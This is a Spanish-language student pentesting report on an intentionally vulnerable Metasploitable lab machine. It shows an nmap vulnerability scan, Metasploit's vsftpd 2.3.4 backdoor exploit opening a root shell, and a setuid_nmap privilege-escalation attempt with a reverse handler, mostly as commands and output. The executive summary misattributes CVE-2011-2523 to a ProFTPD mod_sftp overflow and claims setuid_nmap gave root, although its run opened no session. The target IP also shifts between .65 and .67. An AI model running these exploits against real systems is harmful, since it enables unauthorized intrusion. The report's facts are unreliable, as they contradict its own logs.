

Proyecto de Explotación en Pentesting en una Máquina Vulnerable

1: Confirmar vulnerabilidades

Ifconfig en metasploitable para saber si dirección IP

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:da:ec:b8
          inet addr:192.168.1.65  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2806:103e:2f:ea57:a00:27ff:feda:ecb8/64 Scope:Global
          inet6 addr: fe80::a00:27ff:feda:ecb8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:282 errors:0 dropped:0 overruns:0 frame:0
          TX packets:94 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:21595 (21.0 KB)  TX bytes:9628 (9.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:93 errors:0 dropped:0 overruns:0 frame:0
          TX packets:93 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:19485 (19.0 KB)  TX bytes:19485 (19.0 KB)

msfadmin@metasploitable:~$
```

sudo nmap -sV --script=vuln IP de la metasploitable

```
(kali@kali)-[~]
└─$ sudo nmap -sV --script=vuln 192.168.1.65
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 22:02 EDT
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 48.93% done; ETC: 22:05 (0:00:31 remaining)
Stats: 0:04:56 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.86% done; ETC: 22:07 (0:00:00 remaining)
Stats: 0:05:53 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.90% done; ETC: 22:08 (0:00:00 remaining)
Stats: 0:07:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.90% done; ETC: 22:09 (0:00:00 remaining)
Nmap scan report for 192.168.1.65
Host is up (0.00039s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|     vsFTPD version 2.3.4 backdoor
|       State: VULNERABLE (Exploitable)
|       IDs: CVE:CVE-2011-2523  BID:48539
|         vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|       Disclosure date: 2011-07-03
|       Exploit results:
|         Shell command: id
|         Results: uid=0(root) gid=0(root)
|       References:
|
```

2: Detectar vulnerabilidades explotables

- Identificación de la vulnerabilidad CVE-2011-2523 en el puerto 21, esta vulnerabilidad buscarla, ya sea en la BD <https://www.exploit-db.com/> o en la BD <https://www.cvedetails.com/>
- Identificación del exploit disponibles para las vulnerabilidades detectadas.

3: Explotar vulnerabilidades

Cómo explotar la vulnerabilidad CVE-2011-2523

```
(kali㉿kali)-[~] h5.pcap
$ sudo msfconsole
[sudo] password for kali:
Metasploit tip: To save all commands executed since start up to a file, use t
he
makerc command
```

```
+-----+
| File METASPLOIT by Rapid7 |
+-----+
|                                     |
| ==c(_____(o(_____( _()          | ***** [***
|                                     | EXPLOIT
|                                     | _____
| Home                               | [msf >] _____
| RECON                             | \(\@)(\@)(\@)(\@)(\@)(\@)/
|                                     | *****
|                                     |
+-----+
| o O o                              | \'\^/\^/\^/'
| o O                                | )===== (
| o                                  | LOOT
| ^^^^^^^^^^^^^^^^|_""\"           | _||_
| ch.p PAYLOAD      |_)_____     | (-||-)
| (\@)(\@)""""**|(\@)(\@)**|(\@)    | _||_
| = = = = =         |               |
+-----+
|                                     |
+-----+
```

```
= [ metasploit v6.4.9-dev ]
-- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
-- --=[ 1465 payloads - 47 encoders - 11 nops ]
```

Buscando el exploit

```
msf6 > search proftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/linux/misc/netsupport_manager_agent  2011-01-08      average No      NetSupport Manager Agent Remote Buffer Overflow
1  exploit/linux/ftp/proftpd_sreplace          2006-11-26      great  Yes      ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
2  \ target: Automatic Targeting               "              "      "      "
3  \ target: Debug                             "              "      "      "
4  \ target: ProFTPD 1.3.0 (source install) / Debian 3.1 "              "      "      "
5  exploit/freebsd/ftp/proftpd_telnet_iac      2010-11-01      great  Yes      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
6  \ target: Automatic Targeting               "              "      "      "
7  \ target: Debug                             "              "      "      "
8  \ target: ProFTPD 1.3.2a Server (FreeBSD 8.0) "              "      "      "
9  exploit/linux/ftp/proftpd_telnet_iac        2010-11-01      great  Yes      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
10 \ target: Automatic Targeting               "              "      "      "
11 \ target: Debug                             "              "      "      "
12 \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 "              "      "      "
13 \ target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1 (Debug) "              "      "      "
14 \ target: ProFTPD 1.3.2c Server (Ubuntu 10.04) "              "      "      "
15 exploit/unix/ftp/proftpd_modcopy_exec       2015-04-22      excellent Yes      ProFTPD 1.3.5 Mod_Copy Command Execution
16 exploit/unix/ftp/proftpd_133c_backdoor      2010-12-02      excellent No      ProFTPD-1.3.3c Backdoor Command Execution

Interact with a module by name or index. For example info 16, use 16 or use exploit/unix/ftp/proftpd_133c_backdoor
```

Usar el exploit seleccionado para esta vulnerabilidad:

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.67
RHOST => 192.168.1.67
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.67:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.67:21 - USER: 331 Please specify the password.
[+] 192.168.1.67:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.67:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.74:34273 -> 192.168.1.67:6200) at 2024-09-06 22:40:49 -0400
```

4: Escalar privilegios

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/unix/local/setuid_nmap
```

```
set session 1
session => 1
msf6 exploit(unix/local/setuid_nmap) > run

[*] Started reverse TCP handler on 192.168.1.74:4444
[*] Dropping lua /tmp/TXwzfbrf.nse
[*] Running /tmp/TXwzfbrf.nse with Nmap
[*] Exploit completed, but no session was created.
msf6 exploit(unix/local/setuid_nmap) > sessions

Active sessions
=====

```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell cmd/unix		192.168.1.74:34273 -> 192.168.1.67:6200 (192.168.1.67)

```
msf6 exploit(unix/local/setuid_nmap) > session 1

msf6 exploit(unix/local/setuid_nmap) > sessions 1
[*] Starting interaction with 1...

whoami
root
```

Reporte de Pentesting v2: Explotación de Vulnerabilidad CVE-2011-2523 y Escalada de Privilegios

Objetivo: Realizar un análisis de penetración en un sistema vulnerado.

En el cual se detectó la vulnerabilidad **CVE-2011-2523** en el servidor **ProFTPD** con el módulo **mod_sftp**, explotando la máquina con el exploit **vsftpd_234_backdoor** y posteriormente escalar privilegios utilizando **setuid_nmap**.

1. Resumen Ejecutivo

Este reporte documenta la explotación de la vulnerabilidad **CVE-2011-2523** y el uso de herramientas automatizadas para comprometer el sistema objetivo y escalar privilegios. La explotación inicial del sistema se realizó mediante el módulo **vsftpd_234_backdoor** de Metasploit, y una vez comprometido el sistema, se empleó el exploit local **setuid_nmap** para obtener acceso privilegiado como usuario root.

2. Descripción de la Vulnerabilidad (CVE-2011-2523)

- **Vulnerabilidad:** Desbordamiento de pila en el módulo **mod_sftp** de ProFTPD (versión 1.3.3c).
- **Impacto:** La vulnerabilidad permite a un atacante remoto ejecutar código arbitrario enviando paquetes SFTP malformados. Esto puede resultar en una ejecución remota de código (RCE) en el sistema objetivo.
- **Exploit utilizado:** `exploit/unix/ftp/proftpd_mod_sftp_pckt`

3. Explotación de la Vulnerabilidad

Escaneo y Detección

Se realizó un escaneo de la máquina objetivo con **Nmap** para identificar servicios abiertos y vulnerabilidades. El servidor FTP **ProFTPD** fue identificado como un servicio vulnerable a **CVE-2011-2523**.

Explotación con Metasploit

Se utilizó el módulo de Metasploit **vsftpd_234_backdoor** para acceder al servidor mediante una puerta trasera que permite crear una sesión remota.

El exploit permitió abrir una sesión remota sin autenticación y obtener acceso limitado al sistema.

4. Escalada de Privilegios

Análisis Post-explotación

Tras obtener acceso al sistema, se buscó una forma de escalar privilegios. Se detectó que la herramienta **Nmap** estaba instalada con el bit **SUID** activado, lo que sugería la posibilidad de una escalada de privilegios utilizando este binario.

Exploit de Escalada de Privilegios

El exploit **setuid_nmap** fue seleccionado para aprovechar la mala configuración de Nmap, permitiendo su ejecución como root:

Este exploit permite ejecutar comandos con privilegios de superusuario, logrando finalmente acceso **root** en el sistema objetivo.

5. Resultados

- **Acceso inicial:** Explotación de la vulnerabilidad **CVE-2011-2523** con el módulo **vsftpd_234_backdoor**, obteniendo acceso al servidor.
- **Escalada de privilegios:** Uso de **setuid_nmap** para ganar acceso root completo al sistema objetivo.

6. Recomendaciones

1. **Actualizar ProFTPD:** Se recomienda actualizar el servidor **ProFTPD** a la última versión y deshabilitar el módulo **mod_sftp** si no es necesario.
2. **Revisar configuraciones SUID:** Revisar permisos de binarios con **SUID** y eliminar esta configuración en herramientas innecesarias como **Nmap**.
3. **Implementar políticas de seguridad:** Implementar segmentación de redes y restricciones de acceso para servicios críticos.

Este reporte describe el proceso de explotación y escalada de privilegios, resaltando la necesidad de mantener el software actualizado y revisar configuraciones de seguridad en el sistema.

Nota: Toda evidencia de los comandos ejecutados en la VB Kali se encuentran en la primera sección de este proyecto; la parte final es el reporte ejecutivo Pentesting V2